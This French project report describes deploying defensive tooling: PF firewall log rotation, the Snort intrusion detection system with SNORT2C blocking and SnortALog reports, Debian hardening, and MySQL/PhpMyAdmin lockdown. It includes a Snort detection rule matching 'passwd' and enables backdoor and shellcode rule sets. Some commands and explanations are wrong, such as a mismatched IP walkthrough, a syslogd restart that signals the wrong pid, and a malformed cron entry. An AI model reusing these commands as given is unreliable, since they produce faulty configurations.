Il ne reste plus qu'à autoriser le tunnel VPN à traverser le firewall. L'option "synproxy state" ne fonctionnant que sur les paquets TCP, l'option "keep state" sera utilisée pour le tunnel VPN, utilisant un port UDP : 

pass in log on $ext_if proto udp to $webserv port 6036 keep state

Exploitation des logs de PF :

L’enregistrement des évènements de PF se fera à travers syslog. syslogd enregistrera les évènements au format ASCII. Il est aussi capable de les envoyer à un serveur d’évènements distant. Pour mettre en place l’enregistrement des évènements par syslog, il suffit de créer un script shell et d’effectuer quelques modifications mineures aux fichiers de configuration d’OpenBSD.


Nous allons donc créer le script suivant :

/etc/pflogrotate

# !/bin/sh

PFLOG=/home/sav/pf/pflog

FILE=/home/sav/pf/pflog.tmp

kill –ALRM $(cat /var/run/pflogd.pid)

if [ -r $PFLOG ] && [ $(stat –f %z $PFLOG) –gt 24 ]; then


mv $PFLOG $FILE


kill –HUP $(cat /var/run/pflogd.pid)


tcpdump –n –e –ttt –r $FILE | logger –t pf –p local0.info


rm $FILE

fi


On modifiera ensuite la ligne suivante dans le fichier /etc/rc.conf afin de déplacer l'emplacement des fichiers de logs de PF :

pflogd_flags="-f /home/sav/pf/pflog "

Nous allons éditer la liste des tâches cron du super-utilisateur root grâce à la commande suivante :

# crontab –u root –e


On ajoutera les deux lignes suivantes à la liste des tâches :

# effectuer une rotation des logs de PF toutes les 10 minutes

0-59/10
*
*
*
*
/bin/sh /etc/pflogrotate


On ajoutera aussi la ligne suivante au fichier /etc/syslog.conf :

local0.info


/home/sav/pf/pflogascii


On crée ensuite le fichier /home/sav/pf/pflogascii avec un chmod 600 :

# touch /home/sav/pf/pflogascii

# chmod 600 /home/sav/pf/pflogascii


On relance ensuite syslogd pour que les modifications soient prises en compte :

# kill –HUP $(cat /var/run/pflogd.pid)


Tous les évènements sont maintenant envoyés vers /home/sav/pf/pflogascii. Le script /etc/pflogrotate traite désormais  /home/sav/pf/pflog et le supprime à la fin du traitement. Afin d'activer la rotation des logs enregistrés au format ASCII, on ajoutera la ligne suivante au fichier /etc/newsyslog.conf :

/home/sav/pf/pflogascii
600
7
250
*


On peut désormais exploiter les journaux d'évènements au format ASCII grâce au logiciel SnortALog. Cet utilitaire développé initialement pour snort est également capable de générer un rapport au format html ou pdf à partir des journaux d’évènements de PF. Son utilisation sera détaillée un peu plus loin.

# ./snortalog.pl -10 -file /home/pflogascii -report -o pfreport.html
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4. Pourquoi mettre en place un système de détection d’intrusion ?
La mise en place d’un tel système permettra de surveiller tout trafic entrant sur notre réseau.

En effet, bien que notre pare feu nous permette de bloquer ou d’autoriser tout type de trafic, celui-ci n’agit pas sur le contenu du trafic IP.

Par ailleurs, il est important de distinguer deux types de systèmes de détection d’intrusion :

· Les HIDS qui surveille uniquement le trafic sur un hôte en particulier

· Les NIDS qui surveillent quant à eux tout le trafic sur un réseau entier

C’est pourquoi notre choix s’est porté sur la sonde SNORT, qui permet d’assurer cette fonction de NIDS.

Dans ce qui suit, nous allons commencer par donner une présentation générale de SNORT, ensuite nous allons présenter sa manipulation : installation, configuration et fonctionnalités ainsi que certains utilitaires complémentaires à celui-ci.

5. Présentation de SNORT

SNORT est un NIDS écrit par Martin Roesch, disponible sous licence GNU, son code source est accessible et modifiable à partir de l’URL : http://www.SNORT.org 
SNORT permet d’analyser le trafic réseau de type IP, il peut être configuré pour fonctionner en quatre modes :

· Le mode sniffer : dans ce mode, SNORT lit les paquets circulant sur le réseau et les affiche d’une façon continue sur l’écran

· Le mode « packet logger » : dans ce mode SNORT journalise le trafic réseau dans des répertoires sur le disque

· Le mode détecteur d’intrusion réseau (NIDS) : dans ce mode, SNORT analyse le trafic du réseau, compare ce trafic à des règles déjà définies par l’utilisateur et établi des actions à exécuter

· Le mode Prévention des intrusions réseau (IPS), c’est SNORT-inline

6. Présentation des NIDS

Le NIDS est un logiciel qui, installé sur un matériel généralement dédié, place la carte réseau du système hôte en mode promiscuité (toutes les trames sont remontées à la couche IP indépendamment de l'adresse MAC de destination) afin de remonter tout le trafic réseau au logiciel NIDS.

Ce trafic est alors analysé en fonction d’un ensemble de règles et de signatures d’attaques pour déterminer s’il faut générer des actions (log, alerte, …).

7. Positionnement de SNORT dans le réseau

L’emplacement physique de la sonde SNORT sur le réseau a un impact considérable sur son efficacité.

Dans le cas d’une architecture classique, composée d’un Firewall et d’une DMZ, trois positions sont généralement envisageables :

· avant le Firewall ou le routeur filtrant : dans cette position, la sonde occupe une place de premier choix dans la détection des attaques de sources extérieures visant l’entreprise. SNORT pourra alors analyser le trafic qui sera éventuellement bloqué par le Firewall. 

Les deux inconvénients de cette position du NIDS sont :

- Tout d’abord le risque engendré par un trafic très important qui pourrait entraîner une perte de fiabilité

- De plus, étant situé hors du domaine de protection du firewall, le NIDS est alors exposé à d'éventuelles attaques pouvant le rendre inefficace.

· sur la DMZ : dans cette position, la sonde peut détecter tout le trafic filtré par le Firewall et qui a atteint la zone DMZ. Cette position de la sonde permet de surveiller les attaques dirigées vers les différents serveurs de l’entreprise accessible de l’extérieur.

· Sur le réseau interne : le positionnement du NIDS à cet endroit nous permet d’observer les tentatives d’intrusion parvenues à l’intérieur du réseau de l’entreprise ainsi que les tentatives d’attaques à partir de l'intérieur. Dans le cas d’entreprises utilisant largement l'outil informatique pour la gestion de leurs activités ou de réseaux fournissant un accès à des personnes peu soucieuses de la sécurité (réseaux d’écoles et d’universités), cette position peut revêtir un intérêt primordial.

Nous avons opté pour la troisième solution, celle-ci étant la plus souhaitable.
8. Architecture de SNORT

L’architecture de SNORT est modulaire et est composée de :

· un noyau de base : au démarrage, ce noyau charge un ensemble de règles, compile, optimise et classe celles-ci. Durant l’exécution, le rôle principal du noyau est la capture de paquets.

· Une série de pré-processeurs, ceux-ci améliorent les possibilités de SNORT en matière d’analyse et de recomposition du trafic capturé. Ils reçoivent les paquets directement capturés, éventuellement les retravaillent puis les fournissent au moteur de recherche de signatures.

· Une série d’analyses est ensuite appliquée aux paquets. Ces analyses se composent principalement de comparaisons de différents champs des headers des protocoles (IP, ICMP, TCP et UDP) par rapport à des valeurs précises.

· Après la détection d’intrusion, une série de « output plugins » permet de traiter cette intrusion de plusieurs manières : envoi vers un fichier log, envoi d’un message d’alerte vers un serveur syslog, stocker cette intrusion dans une base de données SQL.

9. Pré-processeurs de SNORT

Les pré-processeurs permettent d’étendre les fonctionnalités de SNORT. Ils sont exécutés avant le lancement du moteur de détection et après le décodage du paquet IP. Le paquet IP peut être modifié ou analysé de plusieurs manières en utilisant le mécanisme de pré-processeur.

Les pré-processeurs sont chargés et configurés avec le mot-clé preprocessor. Le format de la directive preprocessor dans les règles de SNORT est :

preprocessor <nom> : <options>

Exemple de pré-processeurs :

Le détecteur portscan : 

· Ce pré-processeur permet :

- d’enregistrer le début et la fin d’un scan de ports à partir d’une seule adresse IP.

- lorsqu'un fichier de log est spécifié, de journaliser les IP et les ports scannés ainsi que le type du scan.

Exemple :

Preprocessor portscan 192.168.1.0/24 /var/log/SNORT
10. Les règles de SNORT

Les règles de SNORT sont composées de deux parties distinctes : le header et les options.

Le header permet de spécifier le type d’alerte à générer (alert, log et pass) et d’indiquer les champs de base nécessaires au filtrage : le protocole ainsi que les adresses IP et ports sources et destination.

Les options, spécifiées entre parenthèses, permettent d’affiner l’analyse, en décomposant la signature en différentes valeurs à observer parmi certains champs du header ou parmi les données.

Exemple de règle :

Alert tcp any any -> 192.168.1.0/24 80 (flags :A ;\content : “passwd”; msg: “detection

de `passwd’ “ ;)
Cette règle permet de générer un message d’alerte “détection de passwd” lorsque le trafic à destination d’une machine du réseau local 192.168.1.0/24 vers le port 80, contient la chaîne « passwd » (spécifié par l’utilisation du mot-clé « content »), et que le flag ACK du header TCP est activé (flags : A).

11. Installation de SNORT et de ses pré-requis

Pré-requis pour SNORT :

· Bison (ou yacc), flex et gcc. Tous ces logiciels sont déjà installés.

· Libpcap 

· SNORT 

Installation de libpcap :


Libpcap est une dépendance nécessaire à SNORT, qui s'installe comme suit :

$ tar -xzvf /où_est/libpcap.tar.gz
$ cd libpcap-0.4/
$ ./configure --prefix=/usr
$ make
$ su
Password
# make install
# mkdir /usr/include/pcap
# cp *.h /usr/include/pcap/
# mkdir /usr/include/pcap/net
# cp bpf/net/*.h /usr/include/pcap/net/
# make install-man

Installation de SNORT :


L'installation de ce logiciel est des plus classiques, il suffit simplement de taper les commandes suivantes dans un terminal, en root :

# tar -xzvf /où_est/SNORT-1.9.0.tar.gz
# cd SNORT-1.9.0/
# ./configure --prefix=/usr --with-libpcap-includes=/usr/include/pcap
--with-libpcap-libraries=/usr/lib
# make
# make install
# mkdir /etc/SNORT/
# mkdir /etc/SNORT/rules/
# cp etc/SNORT.conf /etc/SNORT/
# cp etc/classification.config /etc/SNORT/
# cp etc/reference.config /etc/SNORT/
# cp rules/*.rules /etc/SNORT/rules/


Dans la suite nous utiliserons le répertoire /var/log/SNORT/, il est donc indispensable qu'il existe. Si ce n'est pas le cas il faut le créer ainsi :

# mkdir /var/log/SNORT
# mkdir /var/log/SNORT/alert


A ce stade SNORT est correctement installé, une protection supplémentaire est d'exécuter SNORT avec les privilèges de l'utilisateur SNORT, c'est à dire uniquement le lancement de la sonde. Nous allons donc commencer par vérifier qu’il y a un utilisateur SNORT :

# cat /etc/passwd | grep SNORT

Si il n’y a aucun résultat, c'est qu'il n'existe pas, il suffit de le créer par :

# groupadd SNORT
# useradd -g SNORT -d /var/log/SNORT SNORT
Qu'il existe déjà ou pas, il faut ajuster les droits sur /var/log/SNORT par :

# chown -R SNORT /var/log/SNORT
# chgrp -R SNORT /var/log/SNORT

12. Utilisation de SNORT :

Comme nous l’avons précédemment mentionné, SNORT rempli globalement 4 tâches, qui sont ses modes de fonctionnement : 

· Sniffer

· Packet Logger

· NIDS
· Le mode Prévention des intrusions réseau (IPS) 
Les 2 premiers sont relativement basics, le dernier requiert plus d'attention.


13. Utilisation de SNORT en mode Sniffer :


Il s'agit d'écouter le réseau, en tapant une ou plusieurs lignes de commandes qui indiqueront à SNORT le type de résultat à afficher, en voici quelques-unes :

· la commande verbose affiche les en-têtes TCP/IP :

# SNORT -v

L'interface connectée à Internet est automatiquement détectée et scannée. Il faut bien sur qu’il y ait de l’activité sur le réseau pour avoir des résultats.

La commande verbose dump second layer info, affiche les IP et les en-têtes TCP/UDP/ICMP

# SNORT -vde

Voici ce qu’il est possible d’obtenir avec une telle commande :
01/18-13:19:34.435271 0:50:FC:25:4:4 -> 0:50:FC:E:34:E8 type:0x800 len:0x4A
172.16.0.111:33091 -> 192.168.0.200:80 TCP TTL:64 TOS:0x0 ID:15797
IpLen:20 DgmLen:60 DF ******S* Seq: 0xA11A3122 Ack: 0x0 Win: 0x16D0 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 593047 0 NOP WS: 0
Au début nous avons la date et l'heure (18 janvier à 13h19), un peu plus loin nous avons l'adresse IP source et le port d'écoute (192.168.0.7:33091). Immédiatement suivi de l'adresse IP destinataire et du port concerné (213.186.34.126:80).

TCP indique le protocole utilisé, TTL(Time to live) temps à vivre du paquet, TOS (Type Of Service) le type de service et ID un identifiant aléatoire.
Une autre commande :

# SNORT -dvi vr0

Cette fois il faut indiquer l'interface réseau à scanner, il peut s'agir de eth0, ppp0 ...
14. Utilisation de SNORT en mode packet logger :


Ce mode est en tout point similaire au précédent, à ceci près que les logs ne s'affichent plus à l'écran, mais s'inscrivent directement dans un fichier de log. Le répertoire naturel de log de SNORT étant /var/log/SNORT/.
La seule modification par rapport à précédemment est le v, remplacé par l, concrètement :

# SNORT -de -l /var/log/SNORT

Cette commande correspond à SNORT -vde. En visitant le répertoire /var/log/SNORT/ nous pouvons constater l'existence de plusieurs répertoires. Chacun correspondant à une adresse source. Il est possible de faire plus fin, en ne loguant qu'une seule classe d'adresses par exemple :

# SNORT -de -l /var/log/SNORT -h 192.168.0.0/24


Ou en enregistrant au format binaire :

# SNORT -l /var/log/SNORT -b



Il est également possible d’interfacer SNORT avec une base de données (mysql, postgresql, dbc, oracle).


15. Utilisation de SNORT en nids :


Le véritable intérêt de SNORT est encore l'utilisation en mode nids. SNORT utilise pour cela des règles pour détecter les intrusions. Il existe aujourd'hui environ 1500 règles différentes, chacune s'adaptant à un cas particulier.

Il est possible de créer des règles pour observer une activité particulière sur notre réseau : pings, scans, connexions par backdoors, faille dans un script, tentative de prise de contrôle à distance ...

Les alertes peuvent être enregistrées dans un fichier particulier ou directement dans le syslog et être rajoutées aux messages système ou encore dans une base de données... Chaque règle se rajoute dans un fichier de configuration prévu à cet effet, nous pouvons soit utiliser celles qui existent déjà, soit en créer de nouvelle.

Le fichier de configuration de SNORT est /etc/SNORT/SNORT.conf, les fichiers .rules contenus dans /etc/SNORT/rules/ sont des fichiers contenant, des règles pour un usage bien particulier. Le nom du fichier est, en général explicite, ainsi, ftp.rules contient des règles spécifiques au ftp et dos.rules s'utilise pour les tentatives de DoS (Denial Of Service ou Denie de Service en français).

Les points importants qui ont été modifiés par rapport au fichier de configuration d’origine sont les suivants :

· La mise à jour de la classe d'adresse de notre réseau, comme suit (par défaut c'est any) :

Var HOME_NET 192.168.0./24

Ceci suppose que notre réseau local est en 192.168.0.x sinon il faut adapter. Nous aurions pu par exemple mettre :


Var HOME_NET [172.16.0.0/18,192.168.0.0/24]

Cette commande nous aurait permis de surveiller nos interfaces internes et externes. Pour ne pas surcharger nos fichiers de log nous avons simplement mis la première commande.

· Nous avons mis l’adresse du serveur DNS de l’université grâce à la commande var $DNS_SERVERS DNS/reseau, ce qui nous donne :

Var $DNS_SERVERS 10.1.65.1

· Il nous faut maintenant indiquer le répertoire où sont disposées nos règles, dans notre cas :

var RULE_PATH /etc/SNORT/rules

· Nous allons spécifier à présent notre serveur Web à surveiller :

var HTTP_SERVERS 192.168.0.200
· Le port de notre serveur Web :

var HTTP_PORTS 80
· Nous précisons également les autres ports à surveiller :

var SHELLCODE_PORTS !80
· Certains ports ont été placés par défaut par SNORT, il s’agit des ports AIM, nous les avons laissés :

var AIM_SERVERS [64.12.24.0/23,64.12.28.0/23,64.12.161.0/24,64.12.163.0/24,64.12.200.0/24,205.188.3.0/24,205.188.5.0/24,205.188.7.0/24,205.188.9.0/24,205.188.153.0/24,205.188.179.0/24,205.188.248.0/24]

· Nous devons aussi inclure les autres fichiers de configuration :

Include classification .config
Include reference.config
· Nous allons désactiver certaines alertes ne signalant pas de paquets suspects et ce afin de ne pas alourdir nos fichiers de log :

Config disable_decode_alerts

· Nous allons à présent décommenter et ajuster les pré-processeurs qui nous intéressent :

preprocessor telnet_decode et preprocessor rpc_decode: Ces pre-processor permettent de « normaliser » les flux telnet et rpc en direction des serveur ftp et des serveurs utilisant rpc.
preprocessor bo : Ce pre-processor permet de détecter des attaques par back orifice.

preprocessor http_inspect: global \ iis_unicode_map unicode.map 1252 et preprocessor http_inspect_server: server default \ profile all ports { 80 } oversize_dir_length 500 : Servent pour l’inspection des paquets de type HTTP.
preprocessor frag3_global: max_frags 65536 et preprocessor frag3_engine: policy first detect_anomalies: Permettent d’analyser des attaques par fragmentation de paquet IP.
preprocessor stream4: disable_evasion_alerts et preprocessor sfportscan proto  { all } \ memcap { 10000000 } \ sense_level { low } et preprocessor flow: stats_interval 0 hash 2 : permettent de détecter des scans de ports.
Etant donné que nous allons utiliser le répertoire /var/log/SNORT/, nous fixerons cela directement au lancement avec comme option :

-l /var/log/SNORT
Il existe six modes d'alerte disponibles, fixables dynamiquement (au lancement) : full, fast , socket, syslog, smb (winpopup), et none (aucun). Quatre de ces modes sont accessibles avec l'option -A.

Ses quatre options sont :

· -A fast : mode d'alerte rapide, affiche l'alerte dans un format simple avec l'horaire, le message d'alerte, les adresses IP et les ports sources et destinations

· -A full : mode d'alerte par défaut, donc si nous ne spécifions rien, ce mode sera automatiquement utilisé

· -A unsock : envoie les alertes à une socket UNIX qu'un autre programme peut écouter

· -A none : arrête les alertes

· Dernière tâche, inclure les fichiers .rules qui nous intéressent :

include $RULE_PATH/local.rules

include $RULE_PATH/bad-traffic.rules

include $RULE_PATH/exploit.rules

include $RULE_PATH/scan.rules

include $RULE_PATH/finger.rules

include $RULE_PATH/ftp.rules

include $RULE_PATH/telnet.rules

include $RULE_PATH/rpc.rules

include $RULE_PATH/rservices.rules

include $RULE_PATH/dos.rules

include $RULE_PATH/ddos.rules

include $RULE_PATH/dns.rules

include $RULE_PATH/tftp.rules

include $RULE_PATH/web-cgi.rules

#include $RULE_PATH/web-coldfusion.rules

#include $RULE_PATH/web-iis.rules

#include $RULE_PATH/web-frontpage.rules

include $RULE_PATH/web-misc.rules

include $RULE_PATH/web-client.rules

include $RULE_PATH/web-php.rules

include $RULE_PATH/sql.rules

include $RULE_PATH/x11.rules

include $RULE_PATH/icmp.rules

include $RULE_PATH/netbios.rules

include $RULE_PATH/misc.rules

include $RULE_PATH/attack-responses.rules

#include $RULE_PATH/oracle.rules

include $RULE_PATH/mysql.rules

#include $RULE_PATH/snmp.rules

#include $RULE_PATH/smtp.rules

#include $RULE_PATH/imap.rules

#include $RULE_PATH/pop2.rules

#include $RULE_PATH/pop3.rules

#include $RULE_PATH/nntp.rules

include $RULE_PATH/other-ids.rules

include $RULE_PATH/web-attacks.rules

include $RULE_PATH/backdoor.rules

include $RULE_PATH/shellcode.rules

include $RULE_PATH/policy.rules

# include $RULE_PATH/porn.rules

# include $RULE_PATH/info.rules

# include $RULE_PATH/icmp-info.rules

include $RULE_PATH/virus.rules

# include $RULE_PATH/chat.rules

# include $RULE_PATH/multimedia.rules

# include $RULE_PATH/p2p.rules

include $RULE_PATH/experimental.rules

· Il ne nous reste plus qu'à le lancer :

# SNORT -u SNORT -g SNORT -A full -d -D -i vr0 -l /var/log/SNORT -c /etc/SNORT/SNORT.conf


Cette ligne de commande indique que SNORT est lancé avec les privilèges de l'utilisateur « SNORT » appartenant au groupe « SNORT », type d'alerte : full. SNORT sera lancé en tant que daemon (-D), il regardera l'interface réseau eth0. 

SNORT utilisera le répertoire /var/log/SNORT/ et le fichier de configuration /etc/SNORT/SNORT.conf.

Pour que SNORT, soit lancé à chaque démarrage, nous avons rajouté la ligne précédente à la fin de notre /etc/init.d/rc.local.

16. Limites de SNORT
Comme nous l’avons vu, SNORT ne permet que de générer des alertes suivant les règles mises en place.

C’est pourquoi il nous a fallu rechercher un système permettant d’agir selon le trafic entrant et les règles de SNORT mises en place.

Après différentes recherches, nous avons opté pour un outil développé spécialement pour OPENBSD appelé SNORT2C.

Ce petit logiciel agit en interaction avec SNORT et PF.

Il nous permettra de bloquer des attaquants qui seraient détectés par la sonde SNORT.
17. Installation de SNORT2C
L’installation se fait de manière classique.

# tar -xzvf /où_est/SNORT2C.tar.gz
# cd SNORT2C/
# ./configure 

# make
# make install


Il nous faut également installer MONS2C de la même manière que SNORT2C, c’est ce logiciel qui va gérer les blacklists ainsi que les whitelists :

# tar -xzvf /où_est/MONS2C.tar.gz
# cd MONS2C/
# ./configure 

# make
# make install
Configuration

SNORT2C ne nécessite aucune configuration particulière.

Il faudra cependant définir un fichier contenant les adresses IP des machines situées en whitelists.

Lancement

Le lancement de SNORT2C se fait grâce à la commande :

/usr/local/sbin/SNORT2C -s -w /etc/SNORT2C/whitelist

Cette ligne de commande sera rajoutée dans rc.local afin que SNORT2C soit lancé au démarrage du système

Pour voir en temps réel les adresses bloquées il suffit de taper la commande :

$ MONS2C -l

18. Exploitation des logs
L’exploitation des logs générés par SNORT se fera grâce au logiciel SNORTALOG.

Installation

Il nous faut installer plusieurs packages qui se décomposent comme suit :

· Les packages de génération des logs en mode html qui sont :

· GD-1.19.tar.gz

· GDGraph-1.39.tar.gz

· GDTextUtil-0.85.tar.gz

· L’installation de ces 3 packages se fait ainsi :

#tar zxvf nomdupackage.tar.gz

#cd nomdupackagedécompressé

#perl Makefile.pl

#make

#make Install

· Le package SNORTALOG_v2.3.0b.tgz qui s’installe comme suit :

#tar zxvf SNORTALOG.tgz

#cp ./domains ./rules ./SNORTALOG.pl ./hw ./lang ./modules /var/log/SNORT

Lancement

Le lancement de SNORTALOG se fait grâce à la commande :

$cat <alert file> | ./SNORTALOG.pl –reports –o report.html

Ce qui nous permet de générer un rapport sous format HTML de la forme :
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Afin d’éviter l’effacement de nos logs suite à d’éventuelles attaques, nous avons mis en place un système utilisant CRON afin de stocker nos fichiers de logs à un autre endroit.

Cette ligne de commande, à rajouter dans le fichier root situé dans le répertoire /var/cron/tabs est la suivante :

# Sauvegarde des logs de snort toutes les demi-heures

0,29
*
*
*
*
/bin/sh cp -Rf /var/log/snort/ /etc/sav/
Cette commande nous permettra de sauvegarder toutes les demies heures les logs situés dans /var/log/snort sous un répertoire différent situé sous /etc/sav.

19. Conclusion et perspectives
Ce travail nous a permis de découvrir un outil libre de détection d’intrusion très puissant.

Le principal problème rencontré lors de la mise en place de ce système a été la mise en place du système SNORT2C pour bloquer les attaques.

La possibilité offerte par SNORTALOG permet d’exploiter facilement nos fichiers logs.

Ainsi, grâce à l’interaction de SNORT, SNORT2C et SNORTALOG, nous disposons d’un système de détection d’intrusion extrêmement puissant, fiable, facilement exploitable et agissant de manière autonome.
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Debian est une distribution GNU/Linux non commerciale, lancée en 1993 par Ian Murdock avec le soutien de la FSF (Free Software Foundation - Fondation pour le logiciel libre). C'est le plus libre de tous les projets Linux puisqu'il ne dépend pas d'une société. Il met éventuellement en œuvre des programmes commerciaux mais pas propriétaires. C'est un système extrêmement stable.

Le projet Debian est une distribution adulte, depuis 1993 des efforts dans le sens du paquetage, de l’organisation globale du système et dans le confort de l’utilisateur sont fournis. C'est donc un produit propre et fiable.

Depuis la version 4.0 Etch le système est compatible avec 11 architectures matérielles.

Pourquoi avoir choisi Debian ?

· Un très bon système de paquets: Dpkg et Apt permettent de gérer facilement ses paquets.

· Des paquets bien intégrés. Tous les logiciels sont empaquetés par un groupe cohérent pour un système plus robuste.

· Mises à jour faciles. Grâce au système de paquets.

· Stabilité.

· Gestion efficace de la mémoire.

· Une bonne sécurité du système.

· Des outils simples et efficaces, utilisables en console comme en graphique. Ils couvrent la quasi-totalité des tâches d'administration

Ses défauts ?

20. Une installation réputée moins évidente que celle des autres distributions.

21. Une configuration de certains périphériques difficile.
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22. Installation :
Choix de la version :

Il existe trois versions de Debian : 

· Stable (Sarge): c'est une distribution relativement à jour à sa sortie et qui évolue très peu par correction de bugs.

· Unstable (Sid) : c'est la plus à jour des trois, toutes les nouveautés linux y sont, mais comme son nom l'indique, à installer à nos risques et périls.

· Testing (Etch) : c'est la distribution intermédiaire, tous les paquets d'unstable qui ont atteint un certain degré de stabilité passent en testing. Elle est donc relativement stable et relativement à jour.

Nous avons choisi d'installer la version stable.

Choix du média d'installation :

Le système complet de Debian est disponible en rien de moins que 14 CDs ou 2 DVDs. Nous avons cependant installé la version Netinstall qui contient le système minimal afin de disposer d'un système le plus petit possible, et par conséquent le moins fragile.

Partitions :

Debian propose son utilitaire de partionnement Partman qui propose un partionnement automatique ou manuel. Le partionnement automatique en mode station de travail multiutilisateur est satisfaisant bien qu'on puisse séparer tous les points de montage sur des partitions différentes.
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Voici la tahle des partitions et les points de montage actuellement
configurés. Vous pouvez choisir une partition pour en modifier les
réglages (systéme de fichiers, point de montage, etc.), un espace
Libre pour créer une nouvelle partition ou un periphérigue pour en
créer la table de partitions.

Configurer le RAID logiciel

Configurer le gestionnaire de volumes logigues (LVM)
Fartitionnement assisté

Aide pour le partitionnement
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Configurer Apt :

L'installeur propose d'ajouter des sources supplémentaires de paquets. Puisque nous disposons de la version minimale du système nous ajoutons un dépôt FTP afin de télécharger les logiciels dont nous aurons besoin.
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1. Sécurisation du système :
Mise à jour :

Juste après l’installation, la première chose à faire est une mise à jour complète du système. On effectue cela avec les commandes :

[image: image18]
Théoriquement avec un média d’installation à jour rien ne sera mis à jour mais il peut arriver qu’une mise à jour se fasse entre le téléchargement du CD-ROM et l’installation.
Modifier le système de fichier :
Il est recommandé de modifier les options par défaut du système de fichier dans le fichier « /etc/fstab » afin d’empêcher l’exécution de binaires dans certains dossiers avec la directive noexec:
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Point de montage /usr en lecture seule :
Cette précaution empêche bien sur d’installer ou de désinstaller des logiciels si l’on ne modifie pas le fichier « /etc/apt/apt.conf » :

[image: image155.emf]
Apt exécutera ces commandes à chaque utilisation du gestionnaire de paquet.

Logcheck :
Ce logiciel examine périodiquement les fichiers de logs qu’on lui a spécifiés et alerte l’administrateur par e-mail en cas de détection d’anomalie.

La périodicité d’exécution de logcheck est modifiable dans « /etc/cron.d/logcheck ». Par défaut, l’analyse des logs s’effectue après chaque reboot et à 2 heures du matin tous les jours.
Logtail permet lui d’afficher uniquement les lignes d’un fichier de logs jamais lues.

On peut ajouter à « /etc/logcheck/logcheck.logfiles » les fichiers de logs à analyser.
Protection des fonctions réseau du noyau :
Le noyau doit être configuré afin de ne se protéger de certains types d’attaques tels que le déni de service (DoS) ou le spoofing. Toutes les valeurs à modifier sont présentes dans le système de fichier « /proc ».
Activation des règles de pare-feu
Afin de n’ouvrir au public que les ports nécessaires au fonctionnement normal de notre serveur il est bon d’activer des règles de pare-feu qui fermeront les ports inutiles et contrôleront la cohérence des dialogues avec le serveur. Pour cela un script Iptables a été écrit et s’exécute au démarrage du serveur.
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MySQL est un serveur de bases de données relationnelles SQL développé dans un souci de performances élevées. Il est multithread, multiutilisateurs. C'est un logiciel libre développé sous double licence en fonction de l'utilisation qui en est faite : dans un produit libre (open-source) ou dans un produit propriétaire. Dans ce dernier cas, la licence est payante, sinon elle est libre. Plusieurs erreurs graves de codage du programme, pouvant conduire à l'exécution de code arbitraire via des débordements de pile, ont été révélées sur Usenet.

Il peut être installé de manière totalement indépendante du serveur Apache et de PHP car il gère ses droits et sa configuration en interne. C'est un des moteurs de base de données les plus utilisés au monde et il est Open source dans sa version Community.

Pour plus de simplicité dans la configuration, on utilise en général une interface graphique supplémentaire. Une des plus simples à installer est PhpMyAdmin.

1. Installation :

Nous allons donc effectuer l'installation du serveur MySQL puis nous installerons le nécessaire afin de communiquer avec notre serveur MySQL au travers de PHP.

Pour installer MySQL Server il suffit d'entrer la ligne de commande suivante :
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Attention! Par défaut Debian installe une version 4.0 de MySQL Server si l'on ne précise pas que l'on désire la version 4.1. La version 4.1 a modifié la fonction de hachage des mots de passe stockés dans la base de données système de MySQL. Les hachés ne sont plus stockés sur 16 octets mais sur 41 octets.

Toutes les dépendances sont installées automatiquement après autorisation de l'installation.

L'installeur Debconf nous indique que la machine doit posséder un nom résolvable dans le fichier « /etc/hosts ». On nous informe également que l'utilisateur debian-sys-maint est créé dans MySQL afin de démarrer et d'arrêter le démon mysqld. Il ne faudra donc pas le supprimer.

Le serveur est désormais fonctionnel mais avant toute opération on commence par donner un mot de passe à l’utilisateur root car il n’en possède pas par défaut :
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Pour vérifier notre installation il est possible de se connecter au serveur MySQL en tapant :


[image: image23]
Apres avoir entré le mot de passe, on peut entrer des commandes MySQL. Examinons les bases de données existantes :

[image: image24]
On quitte la console MySQL:


[image: image25]
L'utilisation de la console du serveur est fastidieuse, on passe donc maintenant à l'installation de PhpMyAdmin qui sera notre interface d'administration graphique :

[image: image26]
Le gestionnaire de paquet installe le moteur PHP stand-alone ainsi que le module de communication avec MySQL php4-mysql. Debconf nous demande alors si l'on désire configurer automatiquement PhpMyAdmin avec un serveur web. On choisit apache-ssl, puisque nous désirons un maximum de sécurité.
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Debconf nous invite à redémarrer le serveur apache-ssl.

On vérifie le chargement du module PHP du serveur apache-ssl. On peut également modifier la racine du serveur web si on le désire :

[image: image28]
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	On peut désormais se connecter à PhpMyAdmin via SSL.
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2. Sécurisation :

Pour sécuriser MySQL la première chose à faire est d'appliquer un mot de passe à l'utilisateur root si ce n'est pas déjà fait. Nous utiliserons maintenant PhpMyAdmin pour administrer le serveur MySQL :

· Cliquer sur l’option Privilèges
· Cliquer sur l’option Changer les privilèges à la ligne faisant référence à l’utilisateur root
[image: image32.jpg][] root localhost Oui ALL PRIVILEGES  Oui




· Cocher l’option Modifier le mot de passe et le définir
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· Le mot de passe est modifié :
[image: image34.jpg]Le mot de passe de ‘oot@Tlocalhost’ a été changé.

requéte SOL:
SET PASSWORD FOR 'root@'localhost = PASSWORD( ™" )




Apres avoir changé le mot de passe on est invité à s'identifier à nouveau.

Il existe trois modes d'authentification dans PhpMyAdmin: config, HTTP ou cookie :

· Avec Config nécessite d'inscrire le couple login/mot de passe dans le fichier de configuration config.inc.php ce que l'on évitera.
· Avec HTTP, le serveur web demande une identification avant l'affichage la page d'accueil. Le mode HTTP n'est compatible qu'avec Apache.

· Le mode cookie délègue l'authentification des utilisateurs à PhpMyAdmin et est compatible avec tous les OS et navigateurs supportant les cookies.

Nous accédons à PhpMyAdmin via une connexion SSL dans un tunnel IP Sec, il y a donc très peu de chance que les informations fournies lors de l'identification soient divulguées.
On supprime également l'enregistrement de l'utilisateur root faisant référence au nom de la machine puisqu’aucune application faisant appel à une base de données ne s'exécutera en dehors du serveur.
L'utilisateur debian-sys-maint doit être conservé, le système contrôle le démon mysqld grâce à cet utilisateur.

On supprime la base de données test :
[image: image35.jpg]La base de données ‘test' a été effacée. (traitement: 0.0079 sec.)

requéte SOL:
DROP DATABASE ‘fest”




Par défaut le serveur MySQL n'écoute que l'adresse locale 127.0.0.1. On conserve cette directive du fichier de configuration « my.cnf » situé dans « /etc/mysql/ » :

[image: image36]
On change également le port d'écoute par défaut du démon :

[image: image37]
Il faut bien sur modifier le port utilisé par défaut dans PhpMyAdmin en conséquence :

[image: image38]
Après ces deux modifications on redémarre le démon mysqld :

[image: image39]
L'accès au serveur MySQL n'est désormais possible que par :
· la console MySQL et PhpMyAdmin chiffré par SSL
· un port d'écoute modifié

· l'utilisateur root protégé par mot de passe

